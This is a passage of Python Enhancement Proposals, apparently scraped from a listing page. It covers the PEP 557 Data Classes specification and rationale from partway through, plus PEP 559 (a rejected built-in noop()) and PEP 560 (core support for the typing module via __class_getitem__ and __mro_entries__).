__lt__(self, other): if other.__class__ is self.__class__: return (self.name, self.unit_price, self.quantity_on_hand) < (other.name, other.unit_price, other.quantity_on_hand) return NotImplemented def __le__(self, other): if other.__class__ is self.__class__: return (self.name, self.unit_price, self.quantity_on_hand) <= (other.name, other.unit_price, other.quantity_on_hand) return NotImplemented def __gt__(self, other): if other.__class__ is self.__class__: return (self.name, self.unit_price, self.quantity_on_hand) > (other.name, other.unit_price, other.quantity_on_hand) return NotImplemented def __ge__(self, other): if other.__class__ is self.__class__: return (self.name, self.unit_price, self.quantity_on_hand) >= (other.name, other.unit_price, other.quantity_on_hand) return NotImplemented Data Classes save you from writing and maintaining these methods. Rationale There have been numerous attempts to define classes which exist primarily to store values which are accessible by attribute lookup. Some examples include: collections.namedtuple in the standard library. typing.NamedTuple in the standard library. The popular attrs [1] project. George Sakkis’ recordType recipe [2], a mutable data type inspired by collections.namedtuple. Many example online recipes [3], packages [4], and questions [5]. David Beazley used a form of data classes as the motivating example in a PyCon 2013 metaclass talk [6]. So, why is this PEP needed? With the addition of PEP 526, Python has a concise way to specify the type of class members. This PEP leverages that syntax to provide a simple, unobtrusive way to describe Data Classes. With two exceptions, the specified attribute type annotation is completely ignored by Data Classes. No base classes or metaclasses are used by Data Classes. Users of these classes are free to use inheritance and metaclasses without any interference from Data Classes. The decorated classes are truly “normal” Python classes. The Data Class decorator should not interfere with any usage of the class. One main design goal of Data Classes is to support static type checkers. The use of PEP 526 syntax is one example of this, but so is the design of the fields() function and the @dataclass decorator. Due to their very dynamic nature, some of the libraries mentioned above are difficult to use with static type checkers. Data Classes are not, and are not intended to be, a replacement mechanism for all of the above libraries. But being in the standard library will allow many of the simpler use cases to instead leverage Data Classes. Many of the libraries listed have different feature sets, and will of course continue to exist and prosper. Where is it not appropriate to use Data Classes? API compatibility with tuples or dicts is required. Type validation beyond that provided by PEPs 484 and 526 is required, or value validation or conversion is required. Specification All of the functions described in this PEP will live in a module named dataclasses. A function dataclass which is typically used as a class decorator is provided to post-process classes and add generated methods, described below. The dataclass decorator examines the class to find fields. A field is defined as any variable identified in __annotations__. That is, a variable that has a type annotation. With two exceptions described below, none of the Data Class machinery examines the type specified in the annotation. Note that __annotations__ is guaranteed to be an ordered mapping, in class declaration order. The order of the fields in all of the generated methods is the order in which they appear in the class. The dataclass decorator will add various “dunder” methods to the class, described below. If any of the added methods already exist on the class, a TypeError will be raised. The decorator returns the same class that is called on: no new class is created. The dataclass decorator is typically used with no parameters and no parentheses. However, it also supports the following logical signature: def dataclass(*, init=True, repr=True, eq=True, order=False, unsafe_hash=False, frozen=False) If dataclass is used just as a simple decorator with no parameters, it acts as if it has the default values documented in this signature. That is, these three uses of @dataclass are equivalent: @dataclass class C: ... @dataclass() class C: ... @dataclass(init=True, repr=True, eq=True, order=False, unsafe_hash=False, frozen=False) class C: ... The parameters to dataclass are: init: If true (the default), a __init__ method will be generated. repr: If true (the default), a __repr__ method will be generated. The generated repr string will have the class name and the name and repr of each field, in the order they are defined in the class. Fields that are marked as being excluded from the repr are not included. For example: InventoryItem(name='widget', unit_price=3.0, quantity_on_hand=10).If the class already defines __repr__, this parameter is ignored. eq: If true (the default), an __eq__ method will be generated. This method compares the class as if it were a tuple of its fields, in order. Both instances in the comparison must be of the identical type.If the class already defines __eq__, this parameter is ignored. order: If true (the default is False), __lt__, __le__, __gt__, and __ge__ methods will be generated. These compare the class as if it were a tuple of its fields, in order. Both instances in the comparison must be of the identical type. If order is true and eq is false, a ValueError is raised.If the class already defines any of __lt__, __le__, __gt__, or __ge__, then ValueError is raised. unsafe_hash: If False (the default), the __hash__ method is generated according to how eq and frozen are set.If eq and frozen are both true, Data Classes will generate a __hash__ method for you. If eq is true and frozen is false, __hash__ will be set to None, marking it unhashable (which it is). If eq is false, __hash__ will be left untouched meaning the __hash__ method of the superclass will be used (if the superclass is object, this means it will fall back to id-based hashing). Although not recommended, you can force Data Classes to create a __hash__ method with unsafe_hash=True. This might be the case if your class is logically immutable but can nonetheless be mutated. This is a specialized use case and should be considered carefully. If a class already has an explicitly defined __hash__ the behavior when adding __hash__ is modified. An explicitly defined __hash__ is defined when: __eq__ is defined in the class and __hash__ is defined with any value other than None. __eq__ is defined in the class and any non-None __hash__ is defined. __eq__ is not defined on the class, and any __hash__ is defined. If unsafe_hash is true and an explicitly defined __hash__ is present, then ValueError is raised. If unsafe_hash is false and an explicitly defined __hash__ is present, then no __hash__ is added. See the Python documentation [7] for more information. frozen: If true (the default is False), assigning to fields will generate an exception. This emulates read-only frozen instances. If either __getattr__ or __setattr__ is defined in the class, then ValueError is raised. See the discussion below. fields may optionally specify a default value, using normal Python syntax: @dataclass class C: a: int # 'a' has no default value b: int = 0 # assign a default value for 'b' In this example, both a and b will be included in the added __init__ method, which will be defined as: def __init__(self, a: int, b: int = 0): TypeError will be raised if a field without a default value follows a field with a default value. This is true either when this occurs in a single class, or as a result of class inheritance. For common and simple use cases, no other functionality is required. There are, however, some Data Class features that require additional per-field information. To satisfy this need for additional information, you can replace the default field value with a call to the provided field() function. The signature of field() is: def field(*, default=MISSING, default_factory=MISSING, repr=True, hash=None, init=True, compare=True, metadata=None) The MISSING value is a sentinel object used to detect if the default and default_factory parameters are provided. This sentinel is used because None is a valid value for default. The parameters to field() are: default: If provided, this will be the default value for this field. This is needed because the field call itself replaces the normal position of the default value. default_factory: If provided, it must be a zero-argument callable that will be called when a default value is needed for this field. Among other purposes, this can be used to specify fields with mutable default values, as discussed below. It is an error to specify both default and default_factory. init: If true (the default), this field is included as a parameter to the generated __init__ method. repr: If true (the default), this field is included in the string returned by the generated __repr__ method. compare: If True (the default), this field is included in the generated equality and comparison methods (__eq__, __gt__, et al.). hash: This can be a bool or None. If True, this field is included in the generated __hash__ method. If None (the default), use the value of compare: this would normally be the expected behavior. A field should be considered in the hash if it’s used for comparisons. Setting this value to anything other than None is discouraged.One possible reason to set hash=False but compare=True would be if a field is expensive to compute a hash value for, that field is needed for equality testing, and there are other fields that contribute to the type’s hash value. Even if a field is excluded from the hash, it will still be used for comparisons. metadata: This can be a mapping or None. None is treated as an empty dict. This value is wrapped in types.MappingProxyType to make it read-only, and exposed on the Field object. It is not used at all by Data Classes, and is provided as a third-party extension mechanism. Multiple third-parties can each have their own key, to use as a namespace in the metadata. If the default value of a field is specified by a call to field(), then the class attribute for this field will be replaced by the specified default value. If no default is provided, then the class attribute will be deleted. The intent is that after the dataclass decorator runs, the class attributes will all contain the default values for the fields, just as if the default value itself were specified. For example, after: @dataclass class C: x: int y: int = field(repr=False) z: int = field(repr=False, default=10) t: int = 20 The class attribute C.z will be 10, the class attribute C.t will be 20, and the class attributes C.x and C.y will not be set. Field objects Field objects describe each defined field. These objects are created internally, and are returned by the fields() module-level method (see below). Users should never instantiate a Field object directly. Its documented attributes are: name: The name of the field. type: The type of the field. default, default_factory, init, repr, hash, compare, and metadata have the identical meaning and values as they do in the field() declaration. Other attributes may exist, but they are private and must not be inspected or relied on. post-init processing The generated __init__ code will call a method named __post_init__, if it is defined on the class. It will be called as self.__post_init__(). If no __init__ method is generated, then __post_init__ will not automatically be called. Among other uses, this allows for initializing field values that depend on one or more other fields. For example: @dataclass class C: a: float b: float c: float = field(init=False) def __post_init__(self): self.c = self.a + self.b See the section below on init-only variables for ways to pass parameters to __post_init__(). Also see the warning about how replace() handles init=False fields. Class variables One place where dataclass actually inspects the type of a field is to determine if a field is a class variable as defined in PEP 526. It does this by checking if the type of the field is typing.ClassVar. If a field is a ClassVar, it is excluded from consideration as a field and is ignored by the Data Class mechanisms. For more discussion, see [8]. Such ClassVar pseudo-fields are not returned by the module-level fields() function. Init-only variables The other place where dataclass inspects a type annotation is to determine if a field is an init-only variable. It does this by seeing if the type of a field is of type dataclasses.InitVar. If a field is an InitVar, it is considered a pseudo-field called an init-only field. As it is not a true field, it is not returned by the module-level fields() function. Init-only fields are added as parameters to the generated __init__ method, and are passed to the optional __post_init__ method. They are not otherwise used by Data Classes. For example, suppose a field will be initialized from a database, if a value is not provided when creating the class: @dataclass class C: i: int j: int = None database: InitVar[DatabaseType] = None def __post_init__(self, database): if self.j is None and database is not None: self.j = database.lookup('j') c = C(10, database=my_database) In this case, fields() will return Field objects for i and j, but not for database. Frozen instances It is not possible to create truly immutable Python objects. However, by passing frozen=True to the @dataclass decorator you can emulate immutability. In that case, Data Classes will add __setattr__ and __delattr__ methods to the class. These methods will raise a FrozenInstanceError when invoked. There is a tiny performance penalty when using frozen=True: __init__ cannot use simple assignment to initialize fields, and must use object.__setattr__. Inheritance When the Data Class is being created by the @dataclass decorator, it looks through all of the class’s base classes in reverse MRO (that is, starting at object) and, for each Data Class that it finds, adds the fields from that base class to an ordered mapping of fields. After all of the base class fields are added, it adds its own fields to the ordered mapping. All of the generated methods will use this combined, calculated ordered mapping of fields. Because the fields are in insertion order, derived classes override base classes. An example: @dataclass class Base: x: Any = 15.0 y: int = 0 @dataclass class C(Base): z: int = 10 x: int = 15 The final list of fields is, in order, x, y, z. The final type of x is int, as specified in class C. The generated __init__ method for C will look like: def __init__(self, x: int = 15, y: int = 0, z: int = 10): Default factory functions If a field specifies a default_factory, it is called with zero arguments when a default value for the field is needed. For example, to create a new instance of a list, use: l: list = field(default_factory=list) If a field is excluded from __init__ (using init=False) and the field also specifies default_factory, then the default factory function will always be called from the generated __init__ function. This happens because there is no other way to give the field an initial value. Mutable default values Python stores default member variable values in class attributes. Consider this example, not using Data Classes: class C: x = [] def add(self, element): self.x += element o1 = C() o2 = C() o1.add(1) o2.add(2) assert o1.x == [1, 2] assert o1.x is o2.x Note that the two instances of class C share the same class variable x, as expected. Using Data Classes, if this code was valid: @dataclass class D: x: List = [] def add(self, element): self.x += element it would generate code similar to: class D: x = [] def __init__(self, x=x): self.x = x def add(self, element): self.x += element assert D().x is D().x This has the same issue as the original example using class C. That is, two instances of class D that do not specify a value for x when creating a class instance will share the same copy of x. Because Data Classes just use normal Python class creation they also share this problem. There is no general way for Data Classes to detect this condition. Instead, Data Classes will raise a TypeError if it detects a default parameter of type list, dict, or set. This is a partial solution, but it does protect against many common errors. See Automatically support mutable default values in the Rejected Ideas section for more details. Using default factory functions is a way to create new instances of mutable types as default values for fields: @dataclass class D: x: list = field(default_factory=list) assert D().x is not D().x Module level helper functions fields(class_or_instance): Returns a tuple of Field objects that define the fields for this Data Class. Accepts either a Data Class, or an instance of a Data Class. Raises ValueError if not passed a Data Class or instance of one. Does not return pseudo-fields which are ClassVar or InitVar. asdict(instance, *, dict_factory=dict): Converts the Data Class instance to a dict (by using the factory function dict_factory). Each Data Class is converted to a dict of its fields, as name:value pairs. Data Classes, dicts, lists, and tuples are recursed into. For example:@dataclass class Point: x: int y: int @dataclass class C: l: List[Point] p = Point(10, 20) assert asdict(p) == {'x': 10, 'y': 20} c = C([Point(0, 0), Point(10, 4)]) assert asdict(c) == {'l': [{'x': 0, 'y': 0}, {'x': 10, 'y': 4}]} Raises TypeError if instance is not a Data Class instance. astuple(*, tuple_factory=tuple): Converts the Data Class instance to a tuple (by using the factory function tuple_factory). Each Data Class is converted to a tuple of its field values. Data Classes, dicts, lists, and tuples are recursed into.Continuing from the previous example: assert astuple(p) == (10, 20) assert astuple(c) == ([(0, 0), (10, 4)],) Raises TypeError if instance is not a Data Class instance. make_dataclass(cls_name, fields, *, bases=(), namespace=None): Creates a new Data Class with name cls_name, fields as defined in fields, base classes as given in bases, and initialized with a namespace as given in namespace. fields is an iterable whose elements are either name, (name, type), or (name, type, Field). If just name is supplied, typing.Any is used for type. This function is not strictly required, because any Python mechanism for creating a new class with __annotations__ can then apply the dataclass function to convert that class to a Data Class. This function is provided as a convenience. For example:C = make_dataclass('C', [('x', int), 'y', ('z', int, field(default=5))], namespace={'add_one': lambda self: self.x + 1}) Is equivalent to: @dataclass class C: x: int y: 'typing.Any' z: int = 5 def add_one(self): return self.x + 1 replace(instance, **changes): Creates a new object of the same type of instance, replacing fields with values from changes. If instance is not a Data Class, raises TypeError. If values in changes do not specify fields, raises TypeError.The newly returned object is created by calling the __init__ method of the Data Class. This ensures that __post_init__, if present, is also called. Init-only variables without default values, if any exist, must be specified on the call to replace so that they can be passed to __init__ and __post_init__. It is an error for changes to contain any fields that are defined as having init=False. A ValueError will be raised in this case. Be forewarned about how init=False fields work during a call to replace(). They are not copied from the source object, but rather are initialized in __post_init__(), if they’re initialized at all. It is expected that init=False fields will be rarely and judiciously used. If they are used, it might be wise to have alternate class constructors, or perhaps a custom replace() (or similarly named) method which handles instance copying. is_dataclass(class_or_instance): Returns True if its parameter is a dataclass or an instance of one, otherwise returns False.If you need to know if a class is an instance of a dataclass (and not a dataclass itself), then add a further check for not isinstance(obj, type): def is_dataclass_instance(obj): return is_dataclass(obj) and not isinstance(obj, type) Discussion python-ideas discussion This discussion started on python-ideas [9] and was moved to a GitHub repo [10] for further discussion. As part of this discussion, we made the decision to use PEP 526 syntax to drive the discovery of fields. Support for automatically setting __slots__? At least for the initial release, __slots__ will not be supported. __slots__ needs to be added at class creation time. The Data Class decorator is called after the class is created, so in order to add __slots__ the decorator would have to create a new class, set __slots__, and return it. Because this behavior is somewhat surprising, the initial version of Data Classes will not support automatically setting __slots__. There are a number of workarounds: Manually add __slots__ in the class definition. Write a function (which could be used as a decorator) that inspects the class using fields() and creates a new class with __slots__ set. For more discussion, see [11]. Why not just use namedtuple? Any namedtuple can be accidentally compared to any other with the same number of fields. For example: Point3D(2017, 6, 2) == Date(2017, 6, 2). With Data Classes, this would return False. A namedtuple can be accidentally compared to a tuple. For example, Point2D(1, 10) == (1, 10). With Data Classes, this would return False. Instances are always iterable, which can make it difficult to add fields. If a library defines:Time = namedtuple('Time', ['hour', 'minute']) def get_time(): return Time(12, 0) Then if a user uses this code as: hour, minute = get_time() then it would not be possible to add a second field to Time without breaking the user’s code. No option for mutable instances. Cannot specify default values. Cannot control which fields are used for __init__, __repr__, etc. Cannot support combining fields by inheritance. Why not just use typing.NamedTuple? For classes with statically defined fields, it does support similar syntax to Data Classes, using type annotations. This produces a namedtuple, so it shares namedtuples benefits and some of its downsides. Data Classes, unlike typing.NamedTuple, support combining fields via inheritance. Why not just use attrs? attrs moves faster than could be accommodated if it were moved in to the standard library. attrs supports additional features not being proposed here: validators, converters, metadata, etc. Data Classes makes a tradeoff to achieve simplicity by not implementing these features. For more discussion, see [12]. post-init parameters In an earlier version of this PEP before InitVar was added, the post-init function __post_init__ never took any parameters. The normal way of doing parameterized initialization (and not just with Data Classes) is to provide an alternate classmethod constructor. For example: @dataclass class C: x: int @classmethod def from_file(cls, filename): with open(filename) as fl: file_value = int(fl.read()) return C(file_value) c = C.from_file('file.txt') Because the __post_init__ function is the last thing called in the generated __init__, having a classmethod constructor (which can also execute code immediately after constructing the object) is functionally equivalent to being able to pass parameters to a __post_init__ function. With InitVars, __post_init__ functions can now take parameters. They are passed first to __init__ which passes them to __post_init__ where user code can use them as needed. The only real difference between alternate classmethod constructors and InitVar pseudo-fields is in regards to required non-field parameters during object creation. With InitVars, using __init__ and the module-level replace() function InitVars must always be specified. Consider the case where a context object is needed to create an instance, but isn’t stored as a field. With alternate classmethod constructors the context parameter is always optional, because you could still create the object by going through __init__ (unless you suppress its creation). Which approach is more appropriate will be application-specific, but both approaches are supported. Another reason for using InitVar fields is that the class author can control the order of __init__ parameters. This is especially important with regular fields and InitVar fields that have default values, as all fields with defaults must come after all fields without defaults. A previous design had all init-only fields coming after regular fields. This meant that if any field had a default value, then all init-only fields would have to have defaults values, too. asdict and astuple function names The names of the module-level helper functions asdict() and astuple() are arguably not PEP 8 compliant, and should be as_dict() and as_tuple(), respectively. However, after discussion [13] it was decided to keep consistency with namedtuple._asdict() and attr.asdict(). Rejected ideas Copying init=False fields after new object creation in replace() Fields that are init=False are by definition not passed to __init__, but instead are initialized with a default value, or by calling a default factory function in __init__, or by code in __post_init__. A previous version of this PEP specified that init=False fields would be copied from the source object to the newly created object after __init__ returned, but that was deemed to be inconsistent with using __init__ and __post_init__ to initialize the new object. For example, consider this case: @dataclass class Square: length: float area: float = field(init=False, default=0.0) def __post_init__(self): self.area = self.length * self.length s1 = Square(1.0) s2 = replace(s1, length=2.0) If init=False fields were copied from the source to the destination object after __post_init__ is run, then s2 would end up begin Square(length=2.0, area=1.0), instead of the correct Square(length=2.0, area=4.0). Automatically support mutable default values One proposal was to automatically copy defaults, so that if a literal list [] was a default value, each instance would get a new list. There were undesirable side effects of this decision, so the final decision is to disallow the 3 known built-in mutable types: list, dict, and set. For a complete discussion of this and other options, see [14]. Examples Custom __init__ method Sometimes the generated __init__ method does not suffice. For example, suppose you wanted to have an object to store *args and **kwargs: @dataclass(init=False) class ArgHolder: args: List[Any] kwargs: Mapping[Any, Any] def __init__(self, *args, **kwargs): self.args = args self.kwargs = kwargs a = ArgHolder(1, 2, three=3) A complicated example This code exists in a closed source project: class Application: def __init__(self, name, requirements, constraints=None, path='', executable_links=None, executables_dir=()): self.name = name self.requirements = requirements self.constraints = {} if constraints is None else constraints self.path = path self.executable_links = [] if executable_links is None else executable_links self.executables_dir = executables_dir self.additional_items = [] def __repr__(self): return f'Application({self.name!r},{self.requirements!r},{self.constraints!r},{self.path!r},{self.executable_links!r},{self.executables_dir!r},{self.additional_items!r})' This can be replaced by: @dataclass class Application: name: str requirements: List[Requirement] constraints: Dict[str, str] = field(default_factory=dict) path: str = '' executable_links: List[str] = field(default_factory=list) executable_dir: Tuple[str] = () additional_items: List[str] = field(init=False, default_factory=list) The Data Class version is more declarative, has less code, supports typing, and includes the other generated functions. Acknowledgements The following people provided invaluable input during the development of this PEP and code: Ivan Levkivskyi, Guido van Rossum, Hynek Schlawack, Raymond Hettinger, and Lisa Roach. I thank them for their time and expertise. A special mention must be made about the attrs project. It was a true inspiration for this PEP, and I respect the design decisions they made. References [1] attrs project on github (https://github.com/python-attrs/attrs) [2] George Sakkis’ recordType recipe (http://code.activestate.com/recipes/576555-records/) [3] DictDotLookup recipe (http://code.activestate.com/recipes/576586-dot-style-nested-lookups-over-dictionary-based-dat/) [4] attrdict package (https://pypi.python.org/pypi/attrdict) [5] StackOverflow question about data container classes (https://stackoverflow.com/questions/3357581/using-python-class-as-a-data-container) [6] David Beazley metaclass talk featuring data classes (https://www.youtube.com/watch?v=sPiWg5jSoZI) [7] Python documentation for __hash__ (https://docs.python.org/3/reference/datamodel.html#object.__hash__) [8] ClassVar discussion in PEP 526 [9] Start of python-ideas discussion (https://mail.python.org/pipermail/python-ideas/2017-May/045618.html) [10] GitHub repo where discussions and initial development took place (https://github.com/ericvsmith/dataclasses) [11] Support __slots__? (https://github.com/ericvsmith/dataclasses/issues/28) [12] why not just attrs? (https://github.com/ericvsmith/dataclasses/issues/19) [13] PEP 8 names for asdict and astuple (https://github.com/ericvsmith/dataclasses/issues/110) [14] Copying mutable defaults (https://github.com/ericvsmith/dataclasses/issues/3) Copyright This document has been placed in the public domain.

Final

PEP 557 – Data Classes

Standards Track

This PEP describes an addition to the standard library called Data Classes. Although they use a very different mechanism, Data Classes can be thought of as “mutable namedtuples with defaults”. Because Data Classes use normal class definition syntax, you are free to use inheritance, metaclasses, docstrings, user-defined methods, class factories, and other Python class features.

PEP 559 – Built-in noop() Author: Barry Warsaw <barry at python.org> Status: Rejected Type: Standards Track Created: 08-Sep-2017 Python-Version: 3.7 Post-History: 09-Sep-2017 Resolution: Python-Dev message Table of Contents Abstract Rationale Implementation Rejected alternatives noop() returns something References Copyright Abstract This PEP proposes adding a new built-in function called noop() which does nothing but return None. Rationale It is trivial to implement a no-op function in Python. It’s so easy in fact that many people do it many times over and over again. It would be useful in many cases to have a common built-in function that does nothing. One use case would be for PEP 553, where you could set the breakpoint environment variable to the following in order to effectively disable it: $ setenv PYTHONBREAKPOINT=noop Implementation The Python equivalent of the noop() function is exactly: def noop(*args, **kws): return None The C built-in implementation is available as a pull request [1]. Rejected alternatives noop() returns something YAGNI. This is rejected because it complicates the semantics. For example, if you always return both *args and **kws, what do you return when none of those are given? Returning a tuple of ((), {}) is kind of ugly, but provides consistency. But you might also want to just return None since that’s also conceptually what the function was passed. Or, what if you pass in exactly one positional argument, e.g. noop(7). Do you return 7 or ((7,), {})? And so on. The author claims that you won’t ever need the return value of noop() so it will always return None. Coghlan’s Dialogs (edited for formatting): My counterargument to this would be map(noop, iterable), sorted(iterable, key=noop), etc. (filter, max, and min all accept callables that accept a single argument, as do many of the itertools operations).Making noop() a useful default function in those cases just needs the definition to be: def noop(*args, **kwds): return args[0] if args else None The counterargument to the counterargument is that using None as the default in all these cases is going to be faster, since it lets the algorithm skip the callback entirely, rather than calling it and having it do nothing useful. References [1] https://github.com/python/cpython/pull/3480 Copyright This document has been placed in the public domain.

Rejected

PEP 559 – Built-in noop()

Standards Track

This PEP proposes adding a new built-in function called noop() which does nothing but return None.

PEP 560 – Core support for typing module and generic types Author: Ivan Levkivskyi <levkivskyi at gmail.com> Status: Final Type: Standards Track Created: 03-Sep-2017 Python-Version: 3.7 Post-History: 09-Sep-2017, 14-Nov-2017 Resolution: Python-Dev message Table of Contents Abstract Rationale Performance Metaclass conflicts Hacks and bugs that will be removed by this proposal Specification __class_getitem__ __mro_entries__ Dynamic class creation and types.resolve_bases Using __class_getitem__ in C extensions Backwards compatibility and impact on users who don’t use typing References Copyright Important This PEP is a historical document. The up-to-date, canonical documentation can now be found at object.__class_getitem__() and object.__mro_entries__(). × See PEP 1 for how to propose changes. Abstract Initially PEP 484 was designed in such way that it would not introduce any changes to the core CPython interpreter. Now type hints and the typing module are extensively used by the community, e.g. PEP 526 and PEP 557 extend the usage of type hints, and the backport of typing on PyPI has 1M downloads/month. Therefore, this restriction can be removed. It is proposed to add two special methods __class_getitem__ and __mro_entries__ to the core CPython for better support of generic types. Rationale The restriction to not modify the core CPython interpreter led to some design decisions that became questionable when the typing module started to be widely used. There are three main points of concern: performance of the typing module, metaclass conflicts, and the large number of hacks currently used in typing. Performance The typing module is one of the heaviest and slowest modules in the standard library even with all the optimizations made. Mainly this is because subscripted generic types (see PEP 484 for definition of terms used in this PEP) are class objects (see also [1]). There are three main ways how the performance can be improved with the help of the proposed special methods: Creation of generic classes is slow since the GenericMeta.__new__ is very slow; we will not need it anymore. Very long method resolution orders (MROs) for generic classes will be half as long; they are present because we duplicate the collections.abc inheritance chain in typing. Instantiation of generic classes will be faster (this is minor however). Metaclass conflicts All generic types are instances of GenericMeta, so if a user uses a custom metaclass, then it is hard to make a corresponding class generic. This is particularly hard for library classes that a user doesn’t control. A workaround is to always mix-in GenericMeta: class AdHocMeta(GenericMeta, LibraryMeta): pass class UserClass(LibraryBase, Generic[T], metaclass=AdHocMeta): ... but this is not always practical or even possible. With the help of the proposed special attributes the GenericMeta metaclass will not be needed. Hacks and bugs that will be removed by this proposal _generic_new hack that exists because __init__ is not called on instances with a type differing from the type whose __new__ was called, C[int]().__class__ is C. _next_in_mro speed hack will be not necessary since subscription will not create new classes. Ugly sys._getframe hack. This one is particularly nasty since it looks like we can’t remove it without changes outside typing. Currently generics do dangerous things with private ABC caches to fix large memory consumption that grows at least as O(N2), see [2]. This point is also important because it was recently proposed to re-implement ABCMeta in C. Problems with sharing attributes between subscripted generics, see [3]. The current solution already uses __getattr__ and __setattr__, but it is still incomplete, and solving this without the current proposal will be hard and will need __getattribute__. _no_slots_copy hack, where we clean up the class dictionary on every subscription thus allowing generics with __slots__. General complexity of the typing module. The new proposal will not only allow to remove the above-mentioned hacks/bugs, but also simplify the implementation, so that it will be easier to maintain. Specification __class_getitem__ The idea of __class_getitem__ is simple: it is an exact analog of __getitem__ with an exception that it is called on a class that defines it, not on its instances. This allows us to avoid GenericMeta.__getitem__ for things like Iterable[int]. The __class_getitem__ is automatically a class method and does not require @classmethod decorator (similar to __init_subclass__) and is inherited like normal attributes. For example: class MyList: def __getitem__(self, index): return index + 1 def __class_getitem__(cls, item): return f"{cls.__name__}[{item.__name__}]" class MyOtherList(MyList): pass assert MyList()[0] == 1 assert MyList[int] == "MyList[int]" assert MyOtherList()[0] == 1 assert MyOtherList[int] == "MyOtherList[int]" Note that this method is used as a fallback, so if a metaclass defines __getitem__, then that will have the priority. __mro_entries__ If an object that is not a class object appears in the tuple of bases of a class definition, then method __mro_entries__ is searched on it. If found, it is called with the original tuple of bases as an argument. The result of the call must be a tuple, that is unpacked in the base classes in place of this object. (If the tuple is empty, this means that the original bases is simply discarded.) If there are more than one object with __mro_entries__, then all of them are called with the same original tuple of bases. This step happens first in the process of creation of a class, all other steps, including checks for duplicate bases and MRO calculation, happen normally with the updated bases. Using the method API instead of just an attribute is necessary to avoid inconsistent MRO errors, and perform other manipulations that are currently done by GenericMeta.__new__. The original bases are stored as __orig_bases__ in the class namespace (currently this is also done by the metaclass). For example: class GenericAlias: def __init__(self, origin, item): self.origin = origin self.item = item def __mro_entries__(self, bases): return (self.origin,) class NewList: def __class_getitem__(cls, item): return GenericAlias(cls, item) class Tokens(NewList[int]): ... assert Tokens.__bases__ == (NewList,) assert Tokens.__orig_bases__ == (NewList[int],) assert Tokens.__mro__ == (Tokens, NewList, object) Resolution using __mro_entries__ happens only in bases of a class definition statement. In all other situations where a class object is expected, no such resolution will happen, this includes isinstance and issubclass built-in functions. NOTE: These two method names are reserved for use by the typing module and the generic types machinery, and any other use is discouraged. The reference implementation (with tests) can be found in [4], and the proposal was originally posted and discussed on the typing tracker, see [5]. Dynamic class creation and types.resolve_bases type.__new__ will not perform any MRO entry resolution. So that a direct call type('Tokens', (List[int],), {}) will fail. This is done for performance reasons and to minimize the number of implicit transformations. Instead, a helper function resolve_bases will be added to the types module to allow an explicit __mro_entries__ resolution in the context of dynamic class creation. Correspondingly, types.new_class will be updated to reflect the new class creation steps while maintaining the backwards compatibility: def new_class(name, bases=(), kwds=None, exec_body=None): resolved_bases = resolve_bases(bases) # This step is added meta, ns, kwds = prepare_class(name, resolved_bases, kwds) if exec_body is not None: exec_body(ns) ns['__orig_bases__'] = bases # This step is added return meta(name, resolved_bases, ns, **kwds) Using __class_getitem__ in C extensions As mentioned above, __class_getitem__ is automatically a class method if defined in Python code. To define this method in a C extension, one should use flags METH_O|METH_CLASS. For example, a simple way to make an extension class generic is to use a method that simply returns the original class objects, thus fully erasing the type information at runtime, and deferring all check to static type checkers only: typedef struct { PyObject_HEAD /* ... your code ... */ } SimpleGeneric; static PyObject * simple_class_getitem(PyObject *type, PyObject *item) { Py_INCREF(type); return type; } static PyMethodDef simple_generic_methods[] = { {"__class_getitem__", simple_class_getitem, METH_O|METH_CLASS, NULL}, /* ... other methods ... */ }; PyTypeObject SimpleGeneric_Type = { PyVarObject_HEAD_INIT(NULL, 0) "SimpleGeneric", sizeof(SimpleGeneric), 0, .tp_flags = Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, .tp_methods = simple_generic_methods, }; Such class can be used as a normal generic in Python type annotations (a corresponding stub file should be provided for static type checkers, see PEP 484 for details): from simple_extension import SimpleGeneric from typing import TypeVar T = TypeVar('T') Alias = SimpleGeneric[str, T] class SubClass(SimpleGeneric[T, int]): ... data: Alias[int] # Works at runtime more_data: SubClass[str] # Also works at runtime Backwards compatibility and impact on users who don’t use typing This proposal may break code that currently uses the names __class_getitem__ and __mro_entries__. (But the language reference explicitly reserves all undocumented dunder names, and allows “breakage without warning”; see [6].) This proposal will support almost complete backwards compatibility with the current public generic types API; moreover the typing module is still provisional. The only two exceptions are that currently issubclass(List[int], List) returns True, while with this proposal it will raise TypeError, and repr() of unsubscripted user-defined generics cannot be tweaked and will coincide with repr() of normal (non-generic) classes. With the reference implementation I measured negligible performance effects (under 1% on a micro-benchmark) for regular (non-generic) classes. At the same time performance of generics is significantly improved: importlib.reload(typing) is up to 7x faster Creation of user defined generic classes is up to 4x faster (on a micro-benchmark with an empty body) Instantiation of generic classes is up to 5x faster (on a micro-benchmark with an empty __init__) Other operations with generic types and instances (like method lookup and isinstance() checks) are improved by around 10-20% The only aspect that gets slower with the current proof of concept implementation is the subscripted generics cache look-up. However it was already very efficient, so this aspect gives negligible overall impact. References [1] Discussion following Mark Shannon’s presentation at Language Summit (https://github.com/python/typing/issues/432) [2] Pull Request to implement shared generic ABC caches (merged) (https://github.com/python/typing/pull/383) [3] An old bug with setting/accessing attributes on generic types (https://github.com/python/typing/issues/392) [4] The reference implementation (https://github.com/ilevkivskyi/cpython/pull/2/files, https://github.com/ilevkivskyi/cpython/tree/new-typing) [5] Original proposal (https://github.com/python/typing/issues/468) [6] Reserved classes of identifiers (https://docs.python.org/3/reference/lexical_analysis.html#reserved-classes-of-identifiers) Copyright This document has been placed in the public domain.

Final

PEP 560 – Core support for typing module and generic types

Standards Track

Initially PEP 484 was designed in such way that it would not introduce any changes to the core CPython interpreter. Now type hints and the typing module are extensively used by the community, e.g. PEP 526 and PEP 557 extend the usage of type hints, and the backport of typing on PyPI has 1M downloads/month. Therefore, this restriction can be removed. It is proposed to add two special methods __class_getitem__ and __mro_entries__ to the core CPython for better support of generic types.

